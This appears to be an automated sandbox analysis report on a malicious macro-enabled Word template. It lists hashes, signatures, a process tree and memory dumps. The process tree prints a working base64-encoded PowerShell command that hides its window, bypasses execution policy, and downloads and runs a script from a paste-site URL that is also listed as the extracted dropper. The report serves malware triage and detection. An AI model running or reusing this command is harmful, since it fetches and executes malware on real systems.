Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
10/04/2024, 09:50
General
- Target 1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769.dotm
- Size 15KB
- Sample240410-lt6clsed2w
- SHA256 1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://paste.c-net.org/StaceConcerns
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769.dotm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -w 1 -ep bypass -e aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHAAYQBzAHQAZQAuAGMALQBuAGUAdAAuAG8AcgBnAC8AUwB0AGEAYwBlAEMAbwBuAGMAZQByAG4AcwAnACkA2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_tg4rscbe.vn5.ps1
memory/452-56-0x00007FFF8C810000-0x00007FFF8D2D1000-memory.dmp
memory/452-53-0x000001D0F9830000-0x000001D0F9840000-memory.dmp
memory/452-48-0x000001D0F9830000-0x000001D0F9840000-memory.dmp
memory/452-47-0x000001D0F9830000-0x000001D0F9840000-memory.dmp
memory/452-46-0x00007FFF8C810000-0x00007FFF8D2D1000-memory.dmp
memory/452-42-0x000001D0E15B0000-0x000001D0E15D2000-memory.dmp
memory/4288-9-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-2-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp
memory/4288-0-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp
memory/4288-10-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-11-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-12-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-14-0x00007FFF759C0000-0x00007FFF759D0000-memory.dmp
memory/4288-13-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-15-0x00007FFF759C0000-0x00007FFF759D0000-memory.dmp
memory/4288-26-0x000001EC19100000-0x000001EC1A0D0000-memory.dmp
memory/4288-31-0x000001EC14B10000-0x000001EC15310000-memory.dmp
memory/4288-8-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-6-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp
memory/4288-4-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp
memory/4288-5-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-7-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp
memory/4288-3-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-1-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-57-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-63-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-64-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-65-0x000001EC19100000-0x000001EC1A0D0000-memory.dmp
memory/4288-66-0x000001EC14B10000-0x000001EC15310000-memory.dmp
memory/4288-87-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp
memory/4288-88-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp
memory/4288-90-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-92-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-91-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp
memory/4288-89-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp
memory/4288-93-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp
memory/4288-94-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp